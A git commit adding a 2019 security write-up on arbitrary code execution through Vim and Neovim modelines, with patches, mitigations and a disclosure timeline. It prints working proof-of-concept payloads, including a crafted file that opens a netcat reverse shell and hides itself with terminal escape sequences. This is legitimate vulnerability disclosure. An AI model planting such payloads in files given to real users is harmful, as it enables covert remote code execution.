mirror of https://github.com/numirias/security.git
Add Vim/Neovim ACE write-up
This commit is contained in:
parent
0cb9698f77
commit
b231991a0f
|
@ -0,0 +1,139 @@
|
||||||
|
*by Arminius ([@rawsec](https://twitter.com/rawsec))*
|
||||||
|
|
||||||
|
Vim/Neovim Arbitrary Code Execution via Modelines
|
||||||
|
=================================================
|
||||||
|
|
||||||
|
```
|
||||||
|
Product: Vim < 8.1.1365, Neovim < 0.3.6
|
||||||
|
Type: Arbitrary Code Execution
|
||||||
|
CVE: -
|
||||||
|
Date: 2019-06-04
|
||||||
|
Author: Arminius (@rawsec)
|
||||||
|
```
|
||||||
|
|
||||||
|
Summary
|
||||||
|
-------
|
||||||
|
|
||||||
|
Vim before 8.1.1365 and Neovim before 0.3.6 are vulnerable to arbitrary code
|
||||||
|
execution via modelines by opening a specially crafted text file.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of concept
|
||||||
|
----------------
|
||||||
|
|
||||||
|
- Create `poc.txt`:
|
||||||
|
|
||||||
|
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
|
||||||
|
|
||||||
|
- Ensure that the modeline option has not been disabled (`:set modeline`).
|
||||||
|
|
||||||
|
- Open the file in Vim:
|
||||||
|
|
||||||
|
$ vim poc.txt
|
||||||
|
|
||||||
|
- The system will execute `uname -a`.
|
||||||
|
|
||||||
|
Proof of concept 2 (reverse shell)
|
||||||
|
----------------------------------
|
||||||
|
|
||||||
|
This PoC outlines a real-life attack approach in which a reverse shell
|
||||||
|
is launched once the user opens the file. To conceal the attack, the file will
|
||||||
|
be immediately rewritten when opened. Also, the PoC uses terminal escape
|
||||||
|
sequences to hide the modeline when the content is printed with `cat`. (`cat
|
||||||
|
-v` reveals the actual content.)
|
||||||
|
|
||||||
|
`shell.txt`:
|
||||||
|
|
||||||
|
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
|
||||||
|
|
||||||
|
Demo (victim left, attacker right):
|
||||||
|
|
||||||
|
![Reverse shell demo](https://i.imgur.com/8w4tteX.gif)
|
||||||
|
|
||||||
|
Details
|
||||||
|
-------
|
||||||
|
|
||||||
|
The modeline feature allows to specify custom editor options near the start or
|
||||||
|
end of a file. This feature is enabled by default and applied to all file types,
|
||||||
|
including plain `.txt`. A typical modeline:
|
||||||
|
|
||||||
|
/* vim: set textwidth=80 tabstop=8 */
|
||||||
|
|
||||||
|
For security reasons, only a subset of options is permitted in modelines, and
|
||||||
|
if the option value contains an expression, it is executed in a sandbox: [[1]]
|
||||||
|
|
||||||
|
No other commands than "set" are supported, for security reasons (somebody
|
||||||
|
might create a Trojan horse text file with modelines). And not all options
|
||||||
|
can be set. For some options a flag is set, so that when it's used the
|
||||||
|
|sandbox| is effective.
|
||||||
|
|
||||||
|
The sandbox is meant to prevent side effects: [[2]]
|
||||||
|
|
||||||
|
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
|
||||||
|
'foldtext' options may be evaluated in a sandbox. This means that you are
|
||||||
|
protected from these expressions having nasty side effects. This gives some
|
||||||
|
safety for when these options are set from a modeline.
|
||||||
|
|
||||||
|
However, the `:source!` command (with the bang [`!`] modifier) can be used to
|
||||||
|
bypass the sandbox. It reads and executes commands from a given file as if
|
||||||
|
*typed manually*, running them after the sandbox has been left. [[3]]
|
||||||
|
|
||||||
|
:so[urce]! {file} Read Vim commands from {file}. These are commands
|
||||||
|
that are executed from Normal mode, like you type
|
||||||
|
them.
|
||||||
|
|
||||||
|
Thus, one can trivially construct a modeline that runs code outside the sandbox:
|
||||||
|
|
||||||
|
# vim: set foldexpr=execute('\:source! some_file'):
|
||||||
|
|
||||||
|
An additional step is needed for Neovim which blacklists `execute()`: [[4]]
|
||||||
|
|
||||||
|
execute({command} [, {silent}]) *execute()*
|
||||||
|
Execute {command} and capture its output.
|
||||||
|
[...]
|
||||||
|
This function is not available in the |sandbox|.
|
||||||
|
|
||||||
|
Here, `assert_fails()` can be used instead, which takes a `{cmd}` argument, too: [[5]]
|
||||||
|
|
||||||
|
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
|
||||||
|
Run {cmd} and add an error message to |v:errors| if it does
|
||||||
|
NOT produce an error.
|
||||||
|
|
||||||
|
The following modeline utilizes a fold expression to run `source! %` to
|
||||||
|
execute the current file, which in turn executes `uname -a || "(garbage)"` as a
|
||||||
|
shell command:
|
||||||
|
|
||||||
|
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
|
||||||
|
|
||||||
|
Additionally, the Neovim-only function `nvim_input()` is vulnerable to the same
|
||||||
|
approach via e.g.:
|
||||||
|
|
||||||
|
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
|
||||||
|
|
||||||
|
(In the past, other modeline-related vulnerabilities have been patched in Vim - see [CVE-2002-1377](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1377), [CVE-2016-1248](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1248).)
|
||||||
|
|
||||||
|
Patches
|
||||||
|
-------
|
||||||
|
|
||||||
|
- [Vim patch 8.1.1365](https://github.com/vim/vim/commit/5357552)
|
||||||
|
- [Neovim patch](https://github.com/neovim/neovim/pull/10082) (released in [v0.3.6](https://github.com/neovim/neovim/releases/tag/v0.3.6))
|
||||||
|
|
||||||
|
Beyond patching, it's recommended to disable modelines in the vimrc (`set
|
||||||
|
nomodeline`), to use the [securemodelines](https://github.com/ciaranm/securemodelines/)
|
||||||
|
plugin, or to disable `modelineexpr` (since patch 8.1.1366, Vim-only) to disallow
|
||||||
|
expressions in modelines.
|
||||||
|
|
||||||
|
Timeline
|
||||||
|
--------
|
||||||
|
|
||||||
|
- 2019-05-22 Vim and Neovim maintainers notified
|
||||||
|
- 2019-05-23 Vim patch released
|
||||||
|
- 2019-05-29 Neovim patch released
|
||||||
|
|
||||||
|
[1]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582
|
||||||
|
[2]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050
|
||||||
|
[3]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182
|
||||||
|
[4]: https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L3247
|
||||||
|
[5]: https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L2494
|
||||||
|
[6]: https://github.com/vim/vim/releases/tag/v8.1.1365
|
||||||
|
[7]: https://github.com/neovim/neovim/releases/tag/v0.3.6
|
Loading…
Reference in New Issue